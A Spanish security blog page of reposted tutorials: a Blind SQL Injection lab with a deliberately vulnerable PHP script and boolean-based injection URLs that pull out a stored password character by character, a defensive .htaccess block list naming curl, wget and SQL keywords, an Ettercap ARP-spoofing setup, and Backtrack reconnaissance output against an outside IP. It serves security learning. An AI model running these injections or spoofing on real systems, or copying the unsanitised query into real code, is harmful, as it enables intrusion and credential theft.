Diseño Web en GNU/Linux

Navegando por internet me he encontrado una conferencia muy interesante realizada por Jesús David Navarro que trata de dar una visión profesional de cómo se pueden desarrollar páginas webs usando GNU/Linux y software libre.

Aborda temas tales como: planificación, diseño, maquetación, programación, la importancia de cumplir los estándares, etc.

[vimeo http://vimeo.com/8553900]

Web Jesús David Navarro: http://www.jesusda.com/

INSTALAR UN CONTROLADOR DE DOMINIO PRINCIPAL

Antes de empezar la instalación vamos a recordar unos conceptos básicos:

Controlador de dominio principal (PDC): Distribuye la información de cuentas de usuarios a controladores de reserva y convalida las peticiones de inicio de sesión en red. Sólo puede haber un controlador de dominio principal en un bosque.

¿Que es Active directory?: Es una base de datos jerárquica que permite mantener una serie de objetos relacionados con una red, como usuarios, grupos de usuarios, permisos y asignación de recursos y políticas de acceso.

MAESTRO DE OPERACIONES DEL BOSQUE: Estas funciones deben ser únicas en el bosque. Es decir, en todo el bosque sólo puede haber un maestro de esquema y un maestro de nombres de dominio.

Maestro de esquema: Es el que controla las actualizaciones y los cambios que tienen lugar en el esquema ( SOLO PUEDE HABER UN MAESTRO DE ESQUEMA EN TODO EL BOSQUE ).

Maestro de nombre de dominio: Controla la adición o la eliminación de los dominios del bosque. (SOLO PUEDE HABER UN MAESTRO DE NOMBRE DE DOMINO EN TODO EL BOSQUE).

Maestro de operaciones por dominio: Estas funciones deben ser únicas en cada dominio. Esto significa que en cada dominio del bosque sólo puede haber un maestro de RID, un maestro emulador de PDC y un maestro de infraestructuras.

Emulador PDC: Es el encargado de sincronizar las propiedades de la cuentas de usuario y grupos con controladores de domino NT 4.0 (Emula ser el PDC en un dominio NT 4.0) También es el encargado de sincronizar la hora entre el bosque.
El emulador del PDC en el dominio principal se deberá configurar para que se sincronice con un recurso de hora externo. La hora del emulador del PDC se puede sincronizar con un servidor externo mediante la ejecución del comando «net time» con la sintaxis siguiente: net time file://nombreservidor/setsntp:recursoHora.

Maestro RID: El maestro de RID asigna secuencias de Id. relativos (RID) a cada uno de los distintos controladores del dominio. En todo momento sólo puede haber un controlador de dominio que actúe como maestro de RID en cada dominio del bosque. Siempre que un controlador de dominio crea un usuario, un grupo o un objeto de equipo, asigna un Id. de seguridad (SID) único al objeto creado. Este SID se compone de un SID de dominio, que es el mismo para todos los SID creados en el dominio, y de un RID, que es único para cada uno de los SID creados en el dominio.

Maestro de infraestructuras: Responsable de la comprobación de pertenencia a grupos universales en entornos multidominio.

Responsable de la actualización de referencias de objetos de su dominio a otros dominios.
A menos que haya un único controlador de dominio en el dominio, la función de maestro de infraestructuras no debe asignarse al controlador de dominio que alberga el catálogo global.

CATALOGO GLOBAL: Es un controlador de domino que almacena una copia de todos los objetos de AD de un bosque ( Puerto 3268 ).

Leer más

Blind SQL Injection

Hola:

La idea principal no es explicar un Blind SQL Injection, la idea es poder «tocar» un Blind SQL Injection.

De esta manera podremos jugar con el, introducir «nuestras cosas» y lo más importante, comprobar como reacciona ante ellas.

Siempre, claro, en un escenario propio. En un escenario que nosotros controlemos, podamos manipular y configurar. De esta forma podremos habilitar/deshabilitar opciones, quitar/añadir datos, etc…

Teniendo todo controlado entenderemos mejor el comportamiento o la hora de realizar el ataque.

Pues es de lo que se trata.

Lo que vamos a hacer es montar un Servidor WEB con APACHE + PHP + MySQL. Crear una base de datos y crear un fichero en PHP que realice un consulta con la Base de datos vulnerable…

Para no liarnos mucho y para acabar antes, podemos instalar un Appserv, que lo que hace es instalarlo todo junto (APACHE + PHP + MySQL). Y así nos evitamos otros quebraderos de cabeza.

AppServNetwork

La instalación del AppServ no tiene ninguna dificultad. Eso si, apuntar o recordar las contraseñas que utilicéis.

Una vez que tenemos instalado el servidor, lo arrancamos. A mi me gusta utilizar el Apache Monitor, que podéis encontrar en:

Inicio – Todos los programas – AppServ – Control Server by Service – Apache Monitor.
Abrimos nuestro navegador favorito y escribimos en la barra de direcciones:

http://localhost

¡¡Cuidadito con lo que hacéis!!… el gran hermano nos vigila a todos

Si todo ha ido bien tendríamos que ver todos los ficheros alojados en nuestro servidor WEB.

Para insertar ficheros en el servidor tendremos que introducirlos dentro de la carpeta WWW. Que por defecto encontraremos en:

Código: C:\Appserv\www

Recordar que los ficheros con nombre index son ejecutados directamente por el servidor.
Para hacer más cómodo nuestro acceso al servidor recomiendo renombrar el fichero index.php a por ejemplo indexx.php

Dentro de WWW, vamos a crear una carpeta llamada BlinSQLInjection.

Este será el directorio donde alojaremos el script en PHP que realizará la consulta con la base de datos vulnerable.

Pasemos ahora a crear una base de datos con información…

Tenemos varias formas de crear la base de datos, bien a través del phpMyAdmin o a través de la consola de comandos.

Aunque el phpMyAdmin es más visual, el MySQL Command Line Client es más rápido y, en este caso, más sencillo.

MySQL Command Line Client lo podéis encontrar aquí:

Código: Inicio – Todos los programas – Appserv – MySQL Command Line Client

Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Vamos a crear la Base de datos. Para eso introducimos el siguiente comando:

Código: create database BlindSQL;

Ahora vamos a crear la tabla USUARIOS con tres campos:

  • id.
  • Nombre.
  • Password.

Para eso indicamos que base de datos queremos utilizar, mediante:

Código: use BlindSQL;
Y a continuación creamos la tabla con sus correspondientes campos:

CREATE TABLE `usuarios` (`id` int(10) unsigned NOT NULL auto_increment,`nonmbre` varchar(50) NOT NULL,`password` varchar(50) NOT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

Ahora vamos a rellenar los campos con algunos contenidos. Por ejemplo, usuario: root, password: a1b2c3d4e5f6!!, id 1…

Cada uno puede escoger el nombre y la contraseña que quiera… aunque para entender y no perderse en las explicaciones es recomendable utilizar los mismos ejemplos.

Vamos haya…

insert into `usuarios` values (1, ‘root’,’a1b2c3d4e5f6!!’);

Los siguientes 2 usuarios siguen el mismo procedimiento, simplemente hay que cambiar el id a un valor consecutivo. Por ejemplo:

insert into `usuarios` values (2, ‘netting’,’gnitten’);

Código: insert into `usuarios` values (3, ‘guest’,’a76sd76ash12b’);

Con esto ya hemos creado la base de datos que vamos a utilizar en la práctica y en los ejemplos.

Una sola cosa más, comprobemos que la base de datos a creado todo correctamente.

Vamos a visualizar la tabla USUARIOS.

¡Todo correcto!

Cambiemos ahora, radicalmente, de tema. Vamos a crear un script en PHP que haga una consulta con la base de datos vulnerable a un Blind SQL Injection.

Código: <?php
$host = ‘localhost’;
$dbuser = ‘root’;
$dbpass = ‘mysql’;
$dbname = ‘blindsql’;
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
$sql = «SELECT * FROM usuarios WHERE id=».$_GET[‘id’];
$query = mysql_query($sql);
if(@mysql_num_rows($query)==0){
die(‘Error…! ‘);
}
$result=@mysql_fetch_row($query);
echo «<h2><center>Blind SQL Injection<br>Ejemplos<br><br>»;
echo «<font color=’#FF0000′>id: </font>».$result[0].»<br>»;
echo «<font color=’#FF0000’>Nombre: </font>».$result[1].»<br>»;
// echo «Contraseña: «.$result[2].»<br>»;
echo «</h2></center>»;
die();
?>

Este script no le he creado yo. Lo he sacado de la Intesné, lo que pasa es que no recuerdo de donde… (ay!! Que memoria la tuya, NeTTinG).

Creo que el script es muy sencillo. Aun si tener ningunos conocimientos de PHP se puede sacar a grandes rasgos lo que hace.

Quedémonos con lo más importante:

Código: $sql = «SELECT * FROM usuarios WHERE id=».$_GET[‘id’];
$query = mysql_query($sql);

El script hace la siguiente consulta con la base de datos,

Código: SELECT * FROM usuarios WHERE id=X

Luego se recoge a través de GET el valor de id, dado por el usuario. Es decir, si nosotros escribimos:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Se recoge el valor 1 y se hace la siguiente consulta:

Código: SELECT * FROM usuarios WHERE id=1

Luego, la otra parte del script, ya se ocupa de mostrar la respuesta a la solicitud en el navegador.

Copiamos el script, lo pegamos en el bloc de notas, y lo guardamos dentro de la carpeta BlindSQLInjection con extensión PHP.

Abrimos el navegador, e insertamos en la barra de direcciones la siguiente URL:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Ya tenemos todo listo para realizar prácticas de Blind SQL Injection en nuestro propio servidor vulnerable.

¿Como saber si el servidor es vulnerable?

Pasemos ahora a explicar un poco de que se trata un Blind SQL Injection, todo de manera práctica.

Nosotros sabemos que el script muestra información a través de la variable id. Según el id mostrará una información u otra almacenada en la base de datos.

Si nosotros no indicamos ningún valor a id o indicamos un valor que no existe en la base de datos obtendremos un simpático «Error…!! «.

Vale. Sabiendo esto nos llega para entender las siguientes explicaciones.

Si ponemos en la barra de direcciones la siguiente URL:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=1

Obtendremos el mismo resultado que si introdujéramos:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Acabamos de añadirle a la consulta un AND 1=1, que es un valor verdadero. Si la aplicación es vulnerable nos tendría que devolver el mismo resultado.

Comprobemos que pasa si añadimos un valor falso:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=0

Obtenemos un: «Error…!! »

Bien. A partir de ahora podremos formularle preguntas al servidor acerca de la base de datos. Cuando las respuestas sean falsas se nos enviará a: «Error…!! «, mientras que cuando sean verdaderas nos quedaremos en la misma página.

Una cosa importante. Las preguntas que podemos hacerle al servidor solo pueden tener como respuesta SI (verdadero) o NO (Falso). Recordar que es un ataque a ciegas…

Ojo! El servidor contestará que NO tanto si la consulta es falsa como si nosotros indicamos una consulta errónea. Ojo con la sintaxis de las consultas.

Probemos algunas cosas…

Conozcamos el nombre la tabla:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM users);

FALSO. Obtenemos la página «Error…!! »

Probemos ahora con:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios);

VERDADERO. Nos quedamos en la misma página.

Conociendo el número de registros de una tabla

Para conocer el número de registros vamos a seguir utilizando la Función COUNT:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) > 5;

Puesto que la tabla tiene 3 registros, nos dará un valor FALSO. 3 no es mayor que 5. (3 > 5)

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) = 3;

En este caso ya sabemos que la tabla tiene 3 registros. Al inyectar esta inyección nos dará un valor VERDADERO.

El objetivo es ir probando hasta encontrar un valor VERDADERO.

Buscando los nombres de las columnas o campos

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombres) FROM users)

Puesto que no existe ninguna columna o campo con este nombre obtendremos un valor FALSO.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(password) FROM usuarios)

Sin embargo, ahora si nos dará un valor VERDADERO. Si existe un campo con el nombre password.

Ya tenemos un campo, ahora sería cuestión de ir probando con otros campos hasta encontrarlos todos.

Código: >http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombre) FROM usuarios)

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(id) FROM usuarios)

Esto nos devolverá valores VERDADEROS.

Sacando información de los campos y registros

Lo que más nos podría interesar a la hora de encontrar un servidor vulnerable a un tipo de ataque como un Blind SQL Injection sería sacar información acerca de los passwords almacenados. Pues bien, ¿Que tal si sacamos la longitud de una contraseña?

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM usuairos where id=1) > 9

Esto nos devolverá un valor VERDADERO. El password tiene una longitud mayor a 9 (14 > 9).

Si vamos probando, probando, llegaremos a la siguiente conclusión:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM users where id=1) = 14

Que nos devolverá un valor VERDADERO.

También podríamos pedir el password a partir del nombre de usuario en vez de utilizar el id.

Por ejemplo, así:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1%20AND%20(Select%20length(passw ord)%20From%20usuarios%20where%20nonmbre=%27root%2 7)%20>%209;

Esto mismo nos vale también para conocer el contenido de otros campos. Por ejemplo, la longitud del usuario con id 2, al que vamos a imaginarnos que no conocemos su username.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (Select length(nombre) from usuarios where id=2) = 7;

Esto nos devolverá un valor VERDADERO. Puesto que el usuario con id 2, netting, tiene una longitud de 7 caracteres.

Pasemos ahora a sacar los caracteres de una contraseña o de otro campo. Para ello vamos a utilizar la función LENGTH y la función SUBSTRING.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuairos where id=1),1,1))=97;

Esto nos devolverá un valor VERDADERO. Puesto que el primer carácter de la contraseña es una «a». (ASCII 97 = ‘a’).

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuarios where id=1),2,1))=49

Esto nos devolverña un valor VERDADERO. El segundo carácter de la contraseña es un «1». (ASCII 49 = 1).

Es decir, debemos buscar en una tabla ASCII el valor del carácter que queremos comprobar. Ponerlo en la inyección y comprobar si es verdadero o falso.

También fijaros que hay que ir cambiando el número de la inyección para indicar que carácter queremos comprobar… que si el primer carácter (1) , que si el segundo carácter (2), y así consecutivamente…

Como decía Vic_Thor en el post del BlindSec, es una pesadilla… hay que ir comprobando carácter a carácter todas las posibilidades… y la verdad, no son pocas…

Os dejo aquí una Tabla ASCII:

… bueno, siempre y cuando lo hagamos «a mano», existen herramientas, por eso de llamarlas de algún modo, que nos permiten hacerlo todo más automático…

Es decir, debemos buscar en una tabla ASCII el valor del carácter que queremos comprobar. Ponerlo en la inyección y comprobar si es verdadero o falso.

También fijaros que hay que ir cambiando el número de la inyección para indicar que carácter queremos comprobar… que si el primer carácter (1) , que si el segundo carácter (2), y así consecutivamente…

Como decía Vic_Thor en el post del BlindSec, es una pesadilla… hay que ir comprobando carácter a carácter todas las posibilidades… y la verdad, no son pocas…

Os dejo aquí una Tabla ASCII:

… bueno, siempre y cuando lo hagamos «a mano», existen herramientas, por eso de llamarlas de algún modo, que nos permiten hacerlo todo más automático…

Aunque eso se escapa del objetivo del documento… si encuentro por mi disco duro la herramienta automatizada, la posteo en el foro…

Fuente: http://comunidad.dragonjar.org/

Seguridad .htaccess

En alguna oportunidad he mencionado la importancia de un archivo .htaccess con buenas reglas para una mayor seguridad en tu web y en este caso he visto una buena recopilación de reglas creadas por lo que yo llamaría un experto de seguridad web. En principio el archivo .htaccess utilizado por Apache no fue hecho para agregar seguridad a una página web, pero debido a su manejabilidad permite en muchos casos evitar accesos no auorizados. Las reglas son las siguientes:

RewriteEngine On
Options +FollowSymLinks

RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]

RewriteRule ^(.*)$ access_log.php

El autor explica cada zona de las reglas en su tema así que yo también lo haré en base a lo que él explicó. El texto originalmente está en ingles y no pretendo hacer una traducción perfecta pero trataré de explicarlo a mi manera:

Primero colocamos la configuración básica para habilitar el mod_rewrite en apache:

RewriteEngine On
Options +FollowSymLinks

La siguiente regla deshabilita el banner de información de apache cuando envía un error como Not Found. Esta función es importante deshabilitarla ya que en algunas versiones de Apache o un apache mal configurado muestra información que podría ser de utilidad para un atacante como muestra la siguiente imagen:

Mostrar la versión de apache y los módulos instalados 8con sus respectivas versiones) podría ser un riesgo de seguridad enorme ya que un atacante podría buscar bugs conocidos para dicha versión (para mi caso habilitar esta función me envió un Internal Server Error así que no es soportada por mi servidor):

ServerSignature Off

Las reglas utilizan 2 flags distintas:

NC - No Case: No distingue mayúsculas o minúsculas
OR - Sip, O: Siguiente condición.

La primera regla está basada en el REQUEST_METHOD. El REQUEST_METHOD es la forma en que se conecta el cliente con nuestro servidor. Para mi caso solo necesito GET o POST, puede que para su caso sea distinto ;).

RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]

THE_REQUEST es la petición completa hecha por el usuario y consiste en una cadena larga. Esta es usada para sanar ya que no queremos que un usuario envíe una petición con doble línea lo cual podría permitir un CRLF Injection 😉

RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

HTTP_REFERER puede contener caracteres que pueden ser usados para hacer una Pentest (Test de Intrusión) a una aplicación web. También podría permitir una intrusión de archivos así que bloqueamos los caracteres que no serán usados en peticiones legítimas:

RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

HTTP_COOKIE es igual de importante y ofrece un lugar para guardar el pentest caracteres lo que quiere decir que guarda en una cookie los caracteres.

RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

REQUEST_URI Es importante para la protección del servidor. Sobre todo para proteger de problemas con OverFlows como sucede com Apache Tomcat. Para proteger de esto limitaremos a 9999 caracteres duplicados.

RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]

USER_AGENT Analiza el User Agent (navegador) desde donde se hace la petición. El bloquear algunos user puede evitar que accedan a nuestra web muchos bots atacantes (muy común los libwww) o también hacer peticiones desde WGET (gestor de descargas). Particularmente usaba una regla similar y desde que la implementé dejé de ver ataques de bots insertados en servidores vulnerados.

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

QUERY_STRING es probablemente lo más importante de todo porque aquí es donde suceden la mayoría de las cosas. Configurando de buena forma las reglas podemos evitar algunos XSS, algunos SQL Injection, y Remote Shell Injection.

RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]

Finalmente si apache consiguiera alguna de las peticiones bloqueadas en la regla podemos redirigir al usuario a una página o directamente bloquear el acceso. Originalmente la regla está hecha para enviar al posible atacante a una página alojada en el servidor llamada access_log.php el cual podría contener un script o podría ser una página hecha por usted:

RewriteRule ^(.*)$ access_log.php

Para mi caso particular prefiero enviar un mensaje de acceso denegado con la siguiente regla:

RewriteRule ^(.*)$ - [F]

Eso enviará al posible atacante a una página de error 403 Forbidden o acceso denegado.

Las reglas me parecieron bastante chéveres a pesar de que yo ya usaba la mayoría había una que otra que no conocía y decidí agregar. Siempre es bueno que a su vez hagan una búsqueda más extensa de más reglas para bloquear accesos y a su vez aprendan a utilizar cada regla según su conveniencia.

Herramientas Onlie .htacceess: http://tools.dynamicdrive.com/

Fuente: http://util-pc.com

Smart Whois

SmartWhois es una utilidad que proporciona información acerca de cualquier dirección IP, como por ejemplo el nombre de host, dominio, país, estado o provincia, nombre del ISP, etc.

A diferencia de otras utilidades de «Whois» estándar, SmartWhois puede obtener dicha información de un PC en cualquier parte del mundo, mostrando los datos obtenidos en cuestión de segundos.

Descargar Smart Whois

M.I.T.M – ARP SPOOFING

Antes de empezar a hablar sobre ARP SPOOFING, ¿Que es ARP ?

 

ARP (Address Resolution Protocol) Es un protocolo de la capa 3 del modelo OSI (Capa de red) responsable de “traducir” las direcciones IP correspondientes a las direcciones físicas (MAC).

Para que quede un poco más claro, vamos a plasmarlo en un ejemplo:

Tenemos 2 host, HOST1 (Dirección ip: 192.168.1.115) y HOST2 (Dirección ip: 192.168.1.102) HOST1 quiere mandar un archivo a HOST2, para que HOST1 cree un vínculo con HOST2 tiene que mandar un ARP request por toda la red.

– HOST1: Soy XX:XX:XX:XX:XX:XX con la dirección IP 192.168.1.115, Quién es: 192.168.1.102
– HOST2: Yo soy 192.168.1.102 con la dirección MAC: yy:yy:yy:yy:yy:yy

Sabiendo esto, HOST1 puede enviar directamente los datos a la dirección física de HOST2 y HOST2 a partir de ahora recuerda la dirección MAC de HOST1. Esto sucede porque se queda almacenada en la caché ARP.


Para más información consultar siempre Wikipedia o Google.


ARP SPOOFING: suplantación de identidad por falsificación de tabla ARP. Se trata de la construcción de tramas de solicitud y respuesta ARP modificadas con el objetivo de falsear la tabla ARP (relación IP-MAC) de una víctima y forzarla a que envíe los paquetes a un host atacante en lugar de hacerlo a su destino legítimo.

Herramientas ARP SPOOFING

Arpspoof (parte de las herramientas de DSniff), Arpoison, Cain and Abel, Ettercap y netcut son algunas de las herramientas que pueden usarse para llevar a cabo los ataques ARP Poisoning


Para aclararlo, pongamos otro ejemplo:


Escenario:


Router: 192.168.1.1

Víctima: 192.168.1.125

Atacante: 192.168.1.100

Para realizar el ataque mandaríamos repliques ARP al router (sin que el router haya solicitado nada).

¿Con esto qué conseguimos? Que el router asocie la dirección ip de nuestra víctima (192.168.1.125) con nuestra dirección física (MAC) y a su vez la víctima asociará la dirección ip del router 192.168.1.1 con la dirección física del atacante, por lo que la víctima nos estaría enviando sus datos.

Una vez explicado esto, vamos a la práctica:

Instalar Ettercap

sudo apt-get-install ettercap-gtk

una vez instalado vamos a editar el fichero /etc/etter.conf

sudo gedit /etc/etter.conf

y buscar las lineas y descomentarlas

redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp -dport %port -j REDIRECT -to-port %rport”

redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp -dport %port -j REDIRECT -to-port %rport”

sudo gedit /etc/etter.conf

[youtube=http://www.youtube.com/watch?v=ciuv5n5cmzs]
Protección contra ARP SPOOFING

Visual Route

La aplicación Visual Route permite no solo hacer un trazado de ruta a la máquina Web objetivo, sino también ofrece un servidor geolocalizador de la misma. Además de Ping test, IP Trace, Localización de IP’s, DNS Lookup y más.

Descargar Visual Route

http://download.visualware.com/

NeoTrace

Neo Trace Pro es una utilidad que permite rastrear direcciones IP hasta su ubicacion geografica, o sea hasta el server donde se encuentra ubicada, incluyendo todos los nodo en el trayecto.

Descargar NeoTracePro

http://rs483.rapidshare.com/files/199842200/NeoTrace.Pro_v3.25.rar

Footprinting – Explicacion basica de herramientas con Backtrack

Click here to enlarge

Hola a todos bueno esta post esta hecho especialmente para las personas que empiesan con esta gran herramienta que es el backtrack .. estare dando un a pequeña explicacion de cada una de estas herramientas bueno este es el primer post de explicacion mas adelante estare explicando cada ves mas herramientas … bueno y si tengo algun error en la explicacion seria bueno q me lo hagan saber bueno sin mas empesare con alguna de las mas basicas …

Host

la funcion de Host es mostrar la informacion de la ip del host remoto

Código:
bt ~ # host decs.es
decs.es has address 194.23.5.200
decs.es mail is handled by 10 mail.decs.es.

——————————————————————————————

Nslookup

la funcion de nslookup es dar a conocer el DNS del host remoto

Código:
bt ~ # nslookup 194.23.5.200
Server: 190.157.2.140
Address: 190.157.2.140#53

Non-authoritative answer:
200.5.23.94.in-addr.arpa name = ns365791.ovh.net.

Authoritative answers can be found from:
5.23.94.in-addr.arpa nameserver = ns12.ovh.net.
5.23.94.in-addr.arpa nameserver = dns12.ovh.net.


——————————————————————————————–

Traceroute

traceroute nodos por donde pasan los paquetes… es lo mismo q Tracert en windows

Código:
bt ~ # traceroute 94.23.5.200
traceroute to 94.23.5.200 (94.23.5.200), 30 hops max, 38 byte packets
1 Dynamic-IP-xxxxxxxxx.cable.net.co (xxxxxxxxxx) 11.544 ms 26.286 ms 10.061 ms
2 xxxxxxxxxxx (xxxxxxxxxx) 19.050 ms 16.296 ms 13.292 ms
3 Static-IP-xxxxxxxxxx.cable.net.co (xxxxxxxxx) 26.455 ms 26.868 ms 26.076 ms
4 * * *
5 bbint-miami-americas-2-pos4-0-0.uninet.net.mx (187.141.106.254) 76.224 ms 78.112 ms 77.235 ms
6 if-6-0.icore1.MLN-Miami.as6453.net (66.110.9.21) 84.462 ms * 98.792 ms
7 if-5-0-0-423.core3.MLN-Miami.as6453.net (66.110.9.10) 81.004 ms if-0-0-0-421.core3.MLN-Miami.as6453.net (66.110.9.2) 78.294 ms 87.517 ms
8 if-0-0-0.mcore4.NJY-Newark.as6453.net (209.58.104.2) 106.554 ms 107.233 ms 105.681 ms
9 if-1-0.mcore3.L78-London.as6453.net (195.219.144.9) 194.912 ms 180.625 ms 186.132 ms
10 if-1-0-0-2.mse1.LVX-London.as6453.net (195.219.144.26) 185.470 ms 184.717 ms 185.390 ms
11 if-13-1-0.mcore3.LDN-London.as6453.net (195.219.195.49) 182.766 ms 184.776 ms 185.196 ms
12 blan62.icore1.LDN-London.as6453.net (195.219.83.1) 202.928 ms 190.038 ms 182.866 ms
13 20g.ldn-1-6k.routers.ovh.net (94.23.122.121) 377.079 ms 20g.ldn-1-6k.routers.ovh.net (94.23.122.74) 225.225 ms 186.239 ms
14 20g.vss-1-6k.routers.chtix.eu (94.23.122.66) 189.381 ms * 223.702 ms
15 ns365791.ovh.net (94.23.5.200) 189.383 ms 187.665 ms 190.412 ms


——————————————————————————————-

Xprobe

El objetivo de esta herramienta para llevar a cabo la toma de huellas dactilares de remoto pilas TCP / IP Xprobe es un programa que nos permite la identificación remota del sistema operativo. Esto es lo que se conoce en inglés como remote active operating system fingerprinting

Código:
bt ~ # xprobe2 -v 94.23.5.200

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu

[+] Target is 94.23.5.200
[+] Loading modules.
[+] Following modules are loaded:
[x] [1] ping:icmp_ping - ICMP echo discovery module
[x] [2] ping:tcp_ping - TCP-based ping discovery module
[x] [3] ping:udp_ping - UDP-based ping discovery module
[x] [4] infogather:ttl_calc - TCP and UDP based TTL distance calculation
[x] [5] infogather:portscan - TCP and UDP PortScanner
[x] [6] fingerprint:icmp_echo - ICMP Echo request fingerprinting module
[x] [7] fingerprint:icmp_tstamp - ICMP Timestamp request fingerprinting module
[x] [8] fingerprint:icmp_amask - ICMP Address mask request fingerprinting module
[x] [9] fingerprint:icmp_port_unreach - ICMP port unreachable fingerprinting module
[x] [10] fingerprint:tcp_hshake - TCP Handshake fingerprinting module
[x] [11] fingerprint:tcp_rst - TCP RST fingerprinting module
[x] [12] fingerprint:smb - SMB fingerprinting module
[x] [13] fingerprint:snmp - SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[-] ping:tcp_ping module: no closed/open TCP ports known on 94.23.5.200. Module test failed
[-] ping:udp_ping module: no closed/open UDP ports known on 94.23.5.200. Module test failed
[-] No distance calculation. 94.23.5.200 appears to be dead or no ports known
[+] Host: 94.23.5.200 is up (Guess probability: 50%)
[+] Target: 94.23.5.200 is alive. Round-Trip Time: 0.18929 sec
[+] Selected safe Round-Trip Time value is: 0.37858 sec
[-] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known)
[-] fingerprint:smb need either TCP port 139 or 445 to run
[-] fingerprint:snmp: need UDP port 161 open
[+] Primary guess:
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.19" (Guess probability: 100%)
[+] Other guesses:
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.20" (Guess probability: 100%)
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.21" (Guess probability: 100%)
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.22" (Guess probability: 100%)
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.23" (Guess probability: 100%)
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.24" (Guess probability: 100%)
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.25" (Guess probability: 100%)
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.26" (Guess probability: 100%)
[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.27" (Guess probability: 100%)
